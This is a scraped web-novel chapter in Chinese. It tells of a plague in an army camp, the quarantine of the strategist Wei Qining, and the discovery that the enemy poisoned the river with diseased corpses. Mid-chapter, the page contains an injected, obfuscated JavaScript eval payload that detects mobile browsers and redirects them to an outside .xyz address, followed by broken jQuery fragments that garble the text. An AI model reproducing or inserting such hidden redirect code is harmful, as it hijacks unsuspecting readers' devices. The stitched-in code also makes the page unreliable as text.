默认冷灰
24号文字
方正启体

34. 瘟疫来袭

作者:倾可期本书字数:K更新时间:
    “此事非同小可,快请人去通报将军!”


    军医说着话,人已经退出去八丈远,还不忘招呼栽愣在原地的微祈宁。


    “军师,你也离远点,到我这边来,据我的经验,这种疫病八成会通过接触传播,传染性很强。”


    在他眼里,这位年纪轻轻的小军师已经被吓傻了。


    也难怪,毕竟是年轻人嘛,经历少,没怎么接触过大场面,更别说是这种天灾。


    然而微祈宁不动的原因另有其他。


    她明白军医的意思,所以接下来要说的话才更加必要。


    “那个……刚刚她躺在门外的地上,是我抱她进来的,而且我还在门外抱着她说了半天话。”


    言外之意,很有可能已经通过接触传染上了。


    所以到了现在,远不远离的,意义不是很大。


    她话音才落,那边的老军医登时将眉弓拧成了“川”字。


    “你……害呀!”他重重叹了口气,一口老血梗在心头,感觉下一秒就等让她气死,“你怎么这么不小心,见到人就去抱,万一是敌人派来的特务怎么办!”


    她最好别被感染上,否则真出了什么事,他没法给将军那边交代。


    微祈宁自知行为鲁莽,也不反驳,只心虚地摸了摸鼻子,全是痕迹的转移话题:“呃,那这病好治吗?”


    被这个年纪足以当她爷爷的老头说教,她并不生气,反而有些担心别给他气出个好歹。


    老头拉着脸:“不好治,会死人。”


    “嘿嘿。”微祈宁尴尬一笑,提议道,“要不您先出去,我在这照顾她,反正我也传染了。”


    “不光是你,”老头气的吹胡子瞪眼,伸手指着玉珠,“咱们三个,以及所有接触过她的人,都要隔离!”


    他语气里隐有懊恼,似乎也在气自己为什么不小心。


    微祈宁没法安慰,也不敢说话,只好眼观鼻鼻观心的装鹌鹑。


    军营里三个军医,其中一个医术高明但上了年纪,另外两个没有年轻些,没那么重的岁月沉淀。


    老军医上了年纪,腿脚不是很方便,也不适合长时间走路,陆无砚体恤下属,便在主帐附近给他找了个地方住。而另外两个年轻,腿脚好,就在外围,和士兵们住一起。


    当时她急得不行,才大半夜把老头折腾了一遍,还让他染上这么大的风险。


    今日一事,在某种程度上对他来说,也算是遭了无妄之灾。


    *


    这场突如其来的瘟疫,将整个军营笼罩在阴影之下,搞得人人自危,成日里提心吊胆的担心自己有没有被感染上。


    为了不让人群大面积聚集,减少人员流动,训练停了,连吃饭都在各自的门口开火,出门几乎见不到人,全营上下一片死气沉沉的。


    “瘟疫”两个字出现在战场上,毫不夸张地说,比敌人的刀剑还要可怕。


    毕竟战场不比别处,尤其在医疗方面,无论是硬件还是软件都跟不上。


    医疗条件暂且不提,光是隔离病患的帐篷就不够用。


    原本十人一间的地方,现在退化到一人一间,当然会不够用。


    将军英明立断,迅速排查了来源,将第一批可能感染的人都挪送到郊区隐蔽的无人村里。


    该村不属于潍洲,属于被东黎占据的瀛洲最边缘,又窝在山??里,不怎么大,也不怎么起眼,而且早在被侵袭之前,村里的人便已经撤走了。


    天时地利全占,简直就是最完美的避难所。


    微祈宁有点身份,被隔离在单独的一间屋子;老军医的治病经验很重要,被隔离在她相邻的房子里。


    剩下的病人,严重的以及已经确诊的一人一间,没有症状的则三人一间,也勉强住得下。


    这个结果看似很好很合理,事情也都是在往好的方向发展。


    然而背后的真相,某个倒霉军师几乎磨破了嘴皮子,才换来的片刻安逸。


    一想起这事来,微祈宁就气的捶胸顿足,一肚子的火没处发泄。


    他高高在上的陆大将军,得知此事的第一反应可不是这。


    他得知事情的刹那,当即下令让人搭好草堆,准备从根上掐断病原——放一把火把所有症状的人都焚了,只隔离她们这些可能感染的人。


    陆无砚原话——“宁可错杀,绝不放过。”


    那说白了,他这种行事风格,哪是正常人的想法啊,这不是将一把隐形的大刀悬在每个士兵头顶上吗!?


    在每个人心中都植入“染病=死亡”的意识,让染病代价更加沉重,甚至连被救治的余地都没有。


    太过武断,也太令人寒心了。


    陆无砚做事一向不考虑后果,在他那里,大义和道义只能二选其一。


    出于以上种种,她好说歹说,才以“治病需要试药”的理由将所有人保下,然后一起被打包送进这个半荒废的小山村里。


    玉珠服了药,军医时不时会过去看看,有专门的人看管,也不用再操心,


    她现在整天在屋里吃了睡睡了吃的养着,记不清过了几天,才终于见到了第二个人。


    准确来说,是隔着窗户,和外面的人有了第一句交流。


    “问军师安,最近感觉怎么样?”


    是个很清脆的声音,听起来年纪不大,语气里有种年轻人特有的朝气。


    她记得这个声音,是年轻军医的其中一个,不过这人叫什么来着……记不清了,算了算了不重要。


    “我很好呀,能吃能睡的,人都胖了几斤。”


    “嗯……太好了。”


    虽然是在回应她的话,但微祈宁还是敏锐觉察但,在她说完话以后,外面便传来唰唰的声音,似乎在写字。


    她没有多问,而是耐心的等待着。


    果然没过多久,外面又询问道:“没什么不舒服的地方吧?”


    她隐约猜到对方的目的,道:“没有,一切正常。”


    对方明显松了口气:“那真是这几天最好的消息了。”


    “军营那边怎么了?”她立马反应过来这句话的背后含义,手指不自觉掐进掌心,紧张的追问道。


    “军营那边不太乐观,将军忙的焦头烂额,让我来这边看看你们。”


    “对了,我还带来了一个好消息和一个坏消息,军师想先听哪个?”


    闻言,微祈宁没有半分犹豫,斩钉截铁地说:“坏消息。”


    “和我想的一样。”男人笑笑,一副果然如此的语气,“坏消息是,军师保下的那个小姑娘,黑斑已经扩散至整个手臂了。”


    “玉珠她!”她急道,“那好消息呢,是不是已经有药研究出来了?”


    “好消息啊……”他说了一半,剩下的话在嗓子里滚了半圈,幽幽道,“好消息是将军查到了此次疫病的来源,不是那个小姑娘,而是被污染的潍水。”


    “你说什么!”


    微祈宁眼皮子倏地一跳,心头生出某些不好的预感:


    潍水是潍洲的护城河,也是军营一直的用水源头。


    潍水被污染,岂不是……?


    “那污染源头是什么?”她沉声。


    窗外沉默一瞬,继而传来一声轻叹:“是尸体。”


    话音才落,微祈宁瞬间倒吸一口冷气。


    “尸体怎么会出现在水中呢?”


    才问出口,她便已经意识到了什么。


    果不其然。


    “东篱国将染了病尸体抛到水里,瀛洲河位于上游,与潍水相汇。”染了病的尸体便被水流送到下方,传到下游的营地,也就是他们所在的潍洲。


    剩下的话不必再说,即便对局势完全不了解的人,听到这个,也能完整推测出来。


    ——下游的人正好饮用了被污染的水,所以才染上了瘟疫。


    再进一步说,现在有两个更大的困境摆在南桢面前。


    一,军营所有人都饮用过潍水的水,所有人都成为了病毒携带者。


    二,水一直在流动,有可能将病毒带到潍洲,就有可能带去别处。


    潍水和瀛洲河皆是分支,追溯根源,他们有个共同的,世人皆耳熟能详的名字——“黄河。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15909224|176882||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若不是发现的早,南桢甚至有可能因此走向灭国。


    还好这个村子里有一口井,才不至于让数万士兵死于饥渴。


    “好歹毒的计策……“她喃喃,想到这后果,浑身不自觉打了个冷战。


    “是啊,如此泯灭良知的计划。”男人苦笑道,“两方交战,百姓何其无辜。”


    “军营那边现在情况怎么样?”


    “托军师的福,发现的及时,出现症状的人不是很多,已尽数送来隔离……但是我们的药品和资源都跟不上,将军已经向上递了折子。”


    “那后方现在……?”微祈宁试探开口,话中藏话。


    无人注意的暗处,她在等待答案的过程中,无意识蜷起手指,一寸寸描过破旧的窗棂。


    或许连她自己都没有发现,那份早在心底扎根的犹豫与挣扎,已经包含在每一个细微动作里。


    “除了忙,一切如旧。将军本想亲自来看你,无奈营地不能离人,所以才委托我带来消息,现下,军师可安心了?”


    年轻人心思活络,此时听她这样问,不由带些调侃的语气回应。


    再说二人的关系,本就不是什么秘密了。


    微祈宁心头划过一丝微妙,似乎被注入了一剂强心针,整个人被一种名叫“侥幸”的情绪包围。


    对于男人方才打趣的话,她一笑了之,算是无形中做实了二人的关系。


    倘若放在以前,绝对会及时撇清。


    可此时此刻,她身处偏僻荒凉的山野,心仿佛和山野一起沉寂下去,不想多说,也疲于解释。


    今非昔比,特别是那件事发生以后,她迫切的想知道陆无砚的所有动向,那便需要一个正大光明的理由来打听。


    没什么比“男女之情”再正当不过了。


    反正在外人眼里,他们的关系一直是暧昧的。


    “多谢告知。”


    得到想要的答案,她暗自松了一口气,放下手不再纠结,转而换了个新的话题。


    “对了,你师傅还好吧?”


    在她看不见的地方,许子濯三百六十度仰望天空,眼神中似乎蕴藏着无尽的痛苦,一声沉重的叹息从他口中发出。


    “唉,师傅他老人家年纪大了,抵抗力不如年轻人好——”


    他语气太过惆怅,即便看不见表情,但光是听着,仿佛便能让人感同身受的体会到遗憾。


    微祈宁的心也跟着揪起来,控制不住的想入非非。


    那老头……是她害的。


    她鼻子一酸,不自觉咬紧下唇,用力之大,甚至尝到了咸腥味。


    一向能言善辩的人罕见哑了火,想了半天,才干巴巴地挤出一句:“老军医他身体那么强健,一定能熬过去的……”


    话还没说完,便被外面年轻的军医打断:


    “虽然师傅年纪大了,身体也不如年轻人,但好在他老人家不怎么爱喝水,所以目前人也没事。”


    ???


    微祈宁刚涌到眼眶的泪瞬间憋了回去,忍不住拔高了嗓音:“我说你这个大喘气的毛病真的要改改了,再这么和我说话,你就回去领军棍!”


    “噢……”许子濯在外面闷闷应了一声。


    面对微祈宁突如其来的怒气,他嘟嘟囔囔的解释道:“我看医书上说,适当的玩笑可以愉悦身心,帮助人减轻压力……怎么到你这不适用啊?”


    “你也知道要‘适当’啊大哥,我快被你吓出心脏病了都!再说现在是开玩笑的时候吗!?”


    “噢,那下次我注意。”


    “我以军师的身份命令你,不许再有下次!”


    “但是将军说……”


    她故作凶悍:“将军说什么?”


    外面突然不说话了。


    因为许子濯正在外面沉思,俏皮话不适用,那下次要怎么才能哄军师高兴。


    *


    出来之前——


    “将军,您有事找我?”


    “你得了空去那边看看,告诉军师营中一切无恙,让她别担心……对了,记得多说点话,哄她高兴些。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)